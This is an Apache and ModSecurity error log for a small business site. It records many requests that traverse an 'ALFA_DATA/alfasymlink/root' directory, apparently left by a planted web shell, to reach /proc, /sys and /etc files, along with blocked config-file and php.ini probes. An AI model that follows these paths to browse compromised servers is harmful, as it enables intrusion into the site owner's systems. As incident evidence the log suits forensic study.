[Mon Oct 26 19:40:10.280587 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.214.176.44:4959] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:40:34.219689 2026] [core:error] [pid 3112229:tid 3112229] (13)Permission denied: [client 100.28.118.16:58574] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/device:04/subsystem/drivers/button/unbind
[Mon Oct 26 19:40:38.243998 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 100.28.133.214:44436] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/graphics/fb0/device/subsystem/devices/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:03.0/driver/0000:00:04.0/remove
[Mon Oct 26 19:40:58.331507 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 184.72.95.195:18060] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:41:02.279382 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.226.34.98:4043] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:41:05.548037 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 85.208.96.193:41944] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fanotify_perm_event/free_calls
[Mon Oct 26 19:41:10.214853 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 54.156.124.2:25576] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:41:34.190971 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 54.225.81.20:47591] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/tty11/subsystem/tty0/subsystem/ttyS3/close_delay
[Mon Oct 26 19:41:38.163915 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 54.147.182.90:50688] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:41:42.203979 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.197.178.107:13669] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:41:46.205190 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.220.148.166:20702] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:41:58.147943 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 18.213.102.186:63361] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:42:10.286135 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 3.215.221.125:52331] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:42:14.289750 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 98.84.60.17:8109] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:04/physical_node/driver/uevent
[Mon Oct 26 19:42:18.145891 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.216.13.10:46142] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:42:22.385182 2026] [ssl:error] [pid 3098113:tid 3098113] (5)Input/output error: [client 52.207.47.227:46525] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:42:26.169906 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.91.122.193:44720] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:42:30.172764 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 98.82.59.253:16420] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/resource4_wc
[Mon Oct 26 19:42:38.265007 2026] [core:error] [pid 3117426:tid 3117426] (13)Permission denied: [client 100.29.63.24:1596] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.2/subsystem/devices/0000:00:04.0/driver/0000:00:04.0/resource1
[Mon Oct 26 19:42:42.158627 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 107.20.255.194:48107] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:42:46.168116 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 54.80.185.200:13621] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/devices/PNP0A03:00/device:00/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/driver/uevent
[Mon Oct 26 19:42:54.292006 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 54.84.250.51:27510] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:43:02.208687 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 184.73.239.35:20229] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:43:18.445983 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.94.157.25:44202] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:43:28.546101 2026] [security2:error] [pid 3098114:tid 3098114] [client 16.216.88.252:14336] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/105_mod_authz_user.conf"] [unique_id "at_loIU8RArHmY5bTmWuigAAAAY"]
[Mon Oct 26 19:43:28.546597 2026] [security2:error] [pid 3098114:tid 3098114] [client 16.216.88.252:14336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/105_mod_authz_user.conf"] [unique_id "at_loIU8RArHmY5bTmWuigAAAAY"]
[Mon Oct 26 19:43:28.546975 2026] [security2:error] [pid 3098114:tid 3098114] [client 16.216.88.252:14336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/105_mod_authz_user.conf"] [unique_id "at_loIU8RArHmY5bTmWuigAAAAY"]
[Mon Oct 26 19:43:30.212814 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 18.204.152.114:55845] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:43:48.408132 2026] [proxy_fcgi:error] [pid 3098114:tid 3098114] [client 143.244.57.121:41808] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:43:54.399595 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.218.103.254:4389] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:44:06.212737 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 184.73.195.18:2384] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:44:06.524217 2026] [core:crit] [pid 3083765:tid 3083765] (13)Permission denied: [client 216.244.66.250:58904] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2194624/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2194624/fd/' is executable
[Mon Oct 26 19:44:06.524293 2026] [core:crit] [pid 3083765:tid 3083765] (13)Permission denied: [client 216.244.66.250:58904] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2194624/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2194624/map_files/' is executable
[Mon Oct 26 19:44:06.524311 2026] [core:crit] [pid 3083765:tid 3083765] (13)Permission denied: [client 216.244.66.250:58904] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2194624/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/2194624/fdinfo/' is executable
[Mon Oct 26 19:44:07.740251 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 85.208.96.205:41532] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:44:12.482740 2026] [security2:error] [pid 3098114:tid 3098114] [client 185.191.171.18:28540] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/amdgpu/raven2_sdma.bin"] [unique_id "at_lzIU8RArHmY5bTmWuoAAAAAY"]
[Mon Oct 26 19:44:12.482783 2026] [security2:error] [pid 3098114:tid 3098114] [client 185.191.171.18:28540] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/firmware/amdgpu/raven2_sdma.bin"] [unique_id "at_lzIU8RArHmY5bTmWuoAAAAAY"]
[Mon Oct 26 19:44:22.182036 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 54.91.122.193:20016] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:44:30.191544 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 98.83.10.183:1161] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/firmware_node/subsystem/drivers/ec/unbind
[Mon Oct 26 19:44:34.131890 2026] [core:error] [pid 3112229:tid 3112229] (13)Permission denied: [client 3.217.82.254:11410] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/remove_id
[Mon Oct 26 19:44:35.547241 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 185.191.171.6:30118] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/destroy_by_rcu
[Mon Oct 26 19:44:42.182192 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 18.213.102.186:11881] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:44:46.142426 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.6.97.88:42445] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:44:50.156068 2026] [ssl:error] [pid 3100940:tid 3100940] (5)Input/output error: [client 107.20.224.184:59022] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:44:58.136028 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.203.237.170:9772] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:45:06.184453 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.0.218.219:24806] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:45:14.161101 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 3.94.40.182:57879] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:45:15.475953 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 216.244.66.250:37758] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/named.conf.cache
[Mon Oct 26 19:45:18.344780 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 52.2.58.41:45681] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:45:22.262934 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 3.81.253.213:37060] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:45:26.155205 2026] [ssl:error] [pid 3112229:tid 3112229] (22)Invalid argument: [client 34.233.219.155:49161] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:45:34.207240 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 3.93.211.16:17729] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:45:38.190972 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 23.21.204.95:4169] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:45:42.155665 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 98.82.214.73:42916] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:45:46.185148 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 54.80.185.200:51978] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:45:50.160816 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 107.20.224.184:64103] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:45:58.162452 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 52.200.58.199:10295] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:46:02.148858 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.90.8.255:60712] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:46:06.162793 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 3.230.224.6:9992] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:46:18.287280 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 3.218.35.239:19212] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:46:30.171806 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 100.29.34.97:4634] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:46:34.158401 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 44.193.115.232:31186] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:46:42.153989 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.216.13.10:22907] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:46:50.137493 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 18.209.201.119:22111] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:46:50.137685 2026] [security2:error] [pid 3098116:tid 3098116] [client 18.209.201.119:22111] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/event0/subsystem/input0/event0/device/power/control"] [unique_id "at_majS1e-yu7xYT1dr7nAAAAAk"]
[Mon Oct 26 19:46:50.137714 2026] [security2:error] [pid 3098116:tid 3098116] [client 18.209.201.119:22111] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/event1/subsystem/event0/subsystem/input0/event0/device/power/control"] [unique_id "at_majS1e-yu7xYT1dr7nAAAAAk"]
[Mon Oct 26 19:46:58.183801 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 34.227.156.153:3556] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:47:06.164193 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 98.82.107.102:57914] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:47:14.912583 2026] [security2:error] [pid 3098113:tid 3098113] [client 43.134.56.214:48270] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escu.com/"] [unique_id "at_mgrHarSgES5WqcDhIKwAAAAU"]
[Mon Oct 26 19:47:14.914109 2026] [authz_core:error] [pid 3098113:tid 3098113] [client 43.134.56.214:48270] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escu.com/php.ini
[Mon Oct 26 19:47:18.259964 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 50.19.79.213:15943] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:47:38.147659 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 54.144.185.255:17871] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:47:42.164074 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 52.45.29.57:6754] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input3/subsystem/mouse0/subsystem/mouse1/device/device/driver/bind
[Mon Oct 26 19:47:50.159336 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 98.82.40.168:15783] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input0/subsystem/event2/device/device/driver/module/drivers/serio:psmouse/bind
[Mon Oct 26 19:48:06.149934 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.44.174.136:42754] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:48:26.169956 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.54.15.103:15012] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:48:35.757796 2026] [core:error] [pid 3117426:tid 3117426] (13)Permission denied: [client 185.191.171.16:26942] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/sanity_checks
[Mon Oct 26 19:48:38.201799 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 54.83.23.103:46224] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:48:42.346049 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 23.23.137.202:43349] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:48:46.313418 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.4.76.156:30446] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:48:54.153907 2026] [ssl:error] [pid 3084053:tid 3084053] (22)Invalid argument: [client 52.4.238.8:31674] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:48:58.183190 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.232.82.72:52344] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:49:18.369326 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 52.203.68.145:12045] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/devices/virtual/input/mice/subsystem/input3/device/subsystem/drivers/atkbd/serio0/drvctl
[Mon Oct 26 19:49:22.171452 2026] [core:error] [pid 3112229:tid 3112229] (13)Permission denied: [client 184.72.84.154:47862] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXCPU:01/physical_node/node0/cpu0/driver/uevent
[Mon Oct 26 19:49:22.357254 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 185.191.171.18:36380] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_vcpu/store_user
[Mon Oct 26 19:49:30.260870 2026] [core:error] [pid 3084053:tid 3084053] (13)Permission denied: [client 52.3.156.186:34482] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory17/node0/cpu0/crash_notes
[Mon Oct 26 19:49:34.209161 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 34.206.249.188:27575] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:49:38.183624 2026] [security2:error] [pid 3112229:tid 3112229] [client 54.83.180.239:65200] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/0000:00:05.0/subsystem/slots/6/module/parameters/"] [unique_id "at_nEq-38nK2hNeBrtRC8gAAAAE"]
[Mon Oct 26 19:49:38.183700 2026] [security2:error] [pid 3112229:tid 3112229] [client 54.83.180.239:65200] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/0000:00:05.0/subsystem/slots/6/module/parameters/"] [unique_id "at_nEq-38nK2hNeBrtRC8gAAAAE"]
[Mon Oct 26 19:49:42.141970 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 18.208.11.93:47284] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:49:50.168375 2026] [ssl:error] [pid 3122519:tid 3122519] (5)Input/output error: [client 184.73.47.24:52012] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:49:54.154027 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 18.214.138.148:5534] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:50:06.228209 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 52.203.237.170:30109] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:50:34.160096 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.44.148.203:39692] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:50:37.240936 2026] [core:error] [pid 3122515:tid 3122515] (13)Permission denied: [client 85.208.96.207:37072] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/objects
[Mon Oct 26 19:50:46.150219 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 35.168.238.50:3121] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:50:58.578206 2026] [core:error] [pid 3122519:tid 3122519] (13)Permission denied: [client 52.1.106.130:50847] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory2/subsystem/devices/memory13/subsystem/uevent
[Mon Oct 26 19:51:18.166960 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 3.94.157.25:38014] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:51:21.199469 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:21.241656 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:21.283110 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:21.324834 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:21.366243 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:21.407389 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:21.487511 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:21.608288 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:21.689212 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:21.730110 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:21.771029 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:21.811621 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:21.893055 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:21.934505 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:21.976700 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:22.018314 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:22.072591 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:22.114357 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:22.155754 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:22.196378 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:22.237713 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:22.279486 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:22.320858 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:22.361718 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
